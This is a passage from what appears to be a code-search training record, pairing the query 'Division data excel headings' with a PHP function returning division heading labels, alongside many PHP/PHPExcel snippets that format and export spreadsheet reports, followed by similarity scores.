array($rowsDetails['kode_agent'],$rowsDetails['name'],$rowsDetails['phone'],$rowsDetails['hotel'], $rowsDetails['todate']);\r\n // \r\n // $arrCellsItemDetailsBookingTransaksi = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksi, $setmulaiDetailsBooking, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // \r\n // $a = 0;\r\n // foreach($arrCellsItemDetailsBookingTransaksi as $cellsItemDetailsBookings){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsItemDetailsBookings, $arrItemDetailsBookingTransaksi[$a]);\r\n // \r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsItemDetailsBookings)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // $this->excel->getActiveSheet()->getStyle('A'.$setmulaiDetailsBooking.':I'.$setmulaiDetailsBooking)->getFont()->setBold(true);\r\n // \r\n // $a++;\r\n // }\r\n // \r\n // $starttitleusers = $setmulaiDetailsBooking + 1;\r\n // \r\n // /*Untuk Data title detail transaksi yang ditampilkan*/\r\n // $arrFieldUserHeader = array('MG User ID', 'Name', 'Email', 'Room ', 'Night', 'Room Night', 'Point Promo', 'Check OUt') ;\r\n // $arrCellsTitleUserHeader = $this->excel->setValueHorizontal($arrFieldUserHeader, $starttitleusers, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // $tus = 0 ;\r\n // foreach($arrCellsTitleUserHeader as $cellsUsersheader){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsUsersheader, $arrFieldUserHeader[$tus]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsUsersheader)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // //$this->excel->getActiveSheet()->getStyle('A'.$starttitleusers.':I'.$starttitleusers)->getFont()->setBold(true);\r\n // \r\n // $tus++; \r\n // }\r\n // $starttitleusers = $starttitleusers;\r\n // /*ENd Untuk Data title detail transaksi yang ditampilkan*/\r\n // \r\n // \r\n // \r\n // //$starttitleusers = $setmulaiDetailsBooking + 1;\r\n // //foreach($rowsDetails['detail-user'] as $users){\r\n // // $arrItemDetailsBookingTransaksiUsers = array($users['mg_user_id'],$users['name'],$users['email'],$users['room'],$users['roomnight'],$users['point_promo']);\r\n // // $arrCellsItemDetailsBookingTransaksiUsers = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksiUsers, $startlistUser, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // // \r\n // // $def = 0 ;\r\n // // foreach($arrCellsItemDetailsBookingTransaksiUsers as $cellsUsers){\r\n // // \r\n // // $this->excel->getActiveSheet()->setCellValue($cellsUsers, $arrItemDetailsBookingTransaksiUsers[$def]);\r\n // // \r\n // // // make border\r\n // // $this->excel->getActiveSheet()->getStyle($cellsUsers)->applyFromArray($styleArray);\r\n // // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // // \r\n // // //make the font become bold\r\n // // //$this->excel->getActiveSheet()->getStyle('A'.$startlistUser.':I'.$startlistUser)->getFont()->setBold(true);\r\n // // \r\n // // $def++; \r\n // // }\r\n // // \r\n // // $starttitleusers++;\r\n // //}\r\n // \r\n // $startlistUser = $starttitleusers + 1;\r\n // foreach($rowsDetails['detail-user'] as $users){\r\n // $arrItemDetailsBookingTransaksiUsers = array($users['mg_user_id'],$users['name'],$users['email'],$users['room'],$users['night'],$users['roomnight'],$users['point_promo'],$users['todate']);\r\n // $arrCellsItemDetailsBookingTransaksiUsers = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksiUsers, $startlistUser, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // \r\n // $def = 0 ;\r\n // foreach($arrCellsItemDetailsBookingTransaksiUsers as $cellsUsers){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsUsers, $arrItemDetailsBookingTransaksiUsers[$def]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsUsers)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // //$this->excel->getActiveSheet()->getStyle('A'.$startlistUser.':I'.$startlistUser)->getFont()->setBold(true);\r\n // \r\n // $def++; \r\n // }\r\n // \r\n // $startlistUser++;\r\n // }\r\n // \r\n // $setmulaiDetailsBooking = $startlistUser;\r\n // \r\n // \r\n // }\r\n // //End loop detail transaksi user ;\r\n // \r\n // \r\n // $startNum = ($startNum + 1 ) + count($row['detail-agent']) ;\r\n // //$startDetail = $startNum + 2 ;\r\n // //$startDetailUser = $setmulaiDetailsBooking + 1 ;\r\n // $no++;\r\n //}\r\n \r\n //make auto size \r\n for($col = 'A'; $col !== 'K'; $col++) {\r\n $this->excel->getActiveSheet()->getColumnDimension($col)->setAutoSize(true);\r\n } \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A9:K9')->applyFromArray($styleArray);\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A9:K9')->getFont()->setBold(true);\r\n \r\n \r\n //make color\r\n $this->excel->getActiveSheet()->getStyle(\"A9:K9\")->applyFromArray(array(\"fill\" => array(\"type\" => PHPExcel_Style_Fill::FILL_SOLID, \"color\" => array( \"rgb\" => '66CCFF'))));\r\n \r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getFont()->setBold(true);\r\n //set row height\r\n $this->excel->getActiveSheet()->getRowDimension('1')->setRowHeight(30);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:K1');\r\n\r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n \r\n $filename = $reportBy.'-Performance'.$from_date.'-'.$to_date.'.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "public function exportExcelAction()\n {\n $fileName = 'traineecert.xls';\n $content = $this->getLayout()->createBlock('bs_traineecert/adminhtml_traineecert_grid')\n ->getExcelFile();\n $this->_prepareDownloadResponse($fileName, $content);\n }" ]
[ "0.67070997", "0.6484501", "0.6307679", "0.61671066", "0.61027884", "0.60483515", "0.60110974", "0.5901631", "0.5890398", "0.587629", "0.58052105", "0.5803653", "0.578973", "0.5785416", "0.5768988", "0.57523173", "0.57517093", "0.57129896", "0.5683405", "0.5675945", "0.55817944", "0.5561238", "0.5553089", "0.5542252", "0.55293643", "0.5528149", "0.5525166", "0.5519811", "0.5519484", "0.5499401", "0.5495874", "0.54829645", "0.5479997", "0.545637", "0.54549485", "0.54492366", "0.5443121", "0.54311484", "0.54297084", "0.5426306", "0.5406233", "0.54002744", "0.539797", "0.5390817", "0.5385142", "0.536804", "0.5366169", "0.53556836", "0.5343782", "0.5340715", "0.53378093", "0.5330596", "0.53116983", "0.53075904", "0.5301597", "0.52971715", "0.529192", "0.528545", "0.5284777", "0.5284254", "0.52804065", "0.52773285", "0.5258974", "0.52577716", "0.5255409", "0.5247865", "0.52230424", "0.5222188", "0.5217429", "0.5214733", "0.5209011", "0.52082837", "0.5201372", "0.52004135", "0.51985943", "0.5187353", "0.5185891", "0.5185577", "0.5179463", "0.51730067", "0.5171374", "0.5169743", "0.51637304", "0.5159279", "0.51589924", "0.51560223", "0.5153768", "0.5153121", "0.5145917", "0.51323766", "0.51205987", "0.5117914", "0.5113377", "0.5106247", "0.5104379", "0.5099406", "0.50976676", "0.5097575", "0.50973886", "0.5088466" ]
0.76429206
0
Division data excel headings
public static function excelDivisionsHeadings() { return [ 'Divisions', 'Sub-Divisions', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "abstract function getheadings();", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", 